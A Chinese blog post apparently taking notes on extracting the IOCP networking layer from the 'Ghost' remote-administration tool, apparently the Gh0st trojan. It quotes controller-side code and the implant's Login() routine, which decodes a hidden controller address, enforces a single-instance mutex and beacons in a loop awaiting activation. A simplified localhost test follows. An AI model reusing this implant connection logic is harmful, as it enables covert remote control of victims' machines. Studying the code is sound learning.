欢迎光临
未来你我一起携手

Ghost远程管理IOCP模型剥离笔记 连接服务端

之前完成了端口的监听,这次要对监听做一些完善和修改。主要是对于NotifyProc这个进行一下“丰满”处理。原代码如下

	try
	{
		CMainFrame* pFrame = (CMainFrame*) lpParam;
		CString str;
		// 对g_pConnectView 进行初始化
		g_pConnectView = (CClientView *)((CClientApp *)AfxGetApp())->m_pConnectView;

		// g_pConnectView还没创建,这情况不会发生
		if (((CClientApp *)AfxGetApp())->m_pConnectView == NULL)
			return;

		g_pConnectView->m_iocpServer = m_iocpServer;

 		str.Format(_T("S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);
 		g_pFrame->m_wndStatusBar.SetPaneText(1, str);

		switch (nCode)
		{
		case NC_CLIENT_CONNECT:
			break;
		case NC_CLIENT_DISCONNECT:
			g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
			break;
		case NC_TRANSMIT:
			break;
		case NC_RECEIVE:
			ProcessReceive(pContext);
			break;
		case NC_RECEIVE_COMPLETE:
			ProcessReceiveComplete(pContext);
			break;
		}
	}catch(...){}

先修改该修改的类名。然后编译会提示g_pConnectView没有定义,我们来看下这个的定义

CClientView* g_pConnectView = NULL;

就是酱紫定义的,我们也给他重新定义一下。关于这个afxgetapp说明如下:

AfxGetApp( )是全局的。
AfxGetApp( )这个函数可以得到当前应用进程的指针,是CWinApp*类型的,通过这个指针可以访问到这个进程中的对象。
比如在全局函数中要向对话框中的列表写数据。

void writeString(char* pString)

CWnd* pWnd = AfxGetApp()->GetMainWnd();
CMyDlg * pDlg;
pDlg=(CMyDlg *) pWnd;
pDlg->ShowMsg(pString);

AfxGetApp()得到进程指针CWinApp*,通过这个指针可以得到pWnd。

那么这里因为这个东西我们不需要展示,也没有给控件设置这个成员变量。唔。其实本来呢   我是准备注释掉。但是现在还是正儿八经的不偷懒吧。我创建了一个静态文本框。然后给他设置成这个名字。

这里需要注意,你不给他设置一个ID的话是没办法给他添加成员变量的哦。不过一番尝试之后呢 发现还是没用诶。还是从客户端再看看吧  嫌弃

首先是看dll的入口函数,一些乱七八糟的就不看了,直接是来到了login这个函数 代码如下:

BOOL Login()
{


	OutputDebugString("进入login");
	HANDLE	hEvent = NULL;
	char	strKillEvent[100];
	wsprintf(strKillEvent, "%s %d",MyDecode(szDns),dwPort);

	HANDLE m_hMutex;
	m_hMutex = CreateMutex(NULL, FALSE, MyDecode(szDns));
	if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS)
	{
		exit(0);
		ExitProcess(0);
		return -1;
	}

	OutputDebugString("互斥完");





	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT;
	while (1)
	{
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			for (int i = 0; i < 1000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;					
				}
				Sleep(200);
			}
		}
		lpszHost = MyDecode(szDns);
		Port = dwPort;

		DWORD dwTickCount = GetTickCount();

	OutputDebugString(lpszHost);
	char szMsg[80]={0} ;
wsprintf(szMsg,"%d",Port);
OutputDebugString(szMsg);
		if (!socketClient.Connect(lpszHost,Port))
		{
			bBreakError = CONNECT_ERROR;
			continue;
		}
	
	OutputDebugString("登录");
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount);
		CKernelManager	manager(&socketClient,strKillEvent,lpszHost,Port);
		socketClient.setManagerCallBack(&manager);
		
		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;
		
		//////////////////////////////////////////////////////////////////////////
		
		DWORD	dwIOCPEvent;
		dwTickCount = GetTickCount();
		
		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
		
		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
			break;
		}
	}

	return 0;
}

精简吧

这次更新距离上次已经1天了。讲真  这些东西看着真的头大。然后好不容易改出来一个版本 。另外上述登录代码我也做了一些精简。目前是这样的

char	*lpszHost = NULL;
	DWORD	Port = 80;
 	// TODO: Place code here.
	char	strKillEvent[100];
	HANDLE	hEvent = NULL;
	wsprintf(strKillEvent, "%s %d","127.0.0.1","7777");
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT;
	while (1)
	{
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			for (int i = 0; i < 1000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;					
				}
				Sleep(200);
			}
		}
		lpszHost = "127.0.0.1";
		Port = 7777;

		DWORD dwTickCount = GetTickCount();

	OutputDebugString(lpszHost);
	char szMsg[80]={0} ;
	wsprintf(szMsg,"%d",Port);
	OutputDebugString(szMsg);
	if (!socketClient.Connect(lpszHost,Port))
	{
		bBreakError = CONNECT_ERROR;
		MessageBox(NULL,"连接失败",NULL,NULL);
		continue;
	}
	MessageBox(NULL,"连接成功",NULL,NULL);
	return 0;
	}

代码逻辑就不用管他了,就是简单修改一下。测试一下而已。后面会再做一些改动。勿喷。另外附上效果图 【其实总结起来,分离并不是很困难。里面很多东西只是放到一起了  单独剥离一下就可以了。头脑清晰时建议尝试,不然真会死人了】:

未经允许不得转载:卧栏听雨 » Ghost远程管理IOCP模型剥离笔记
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!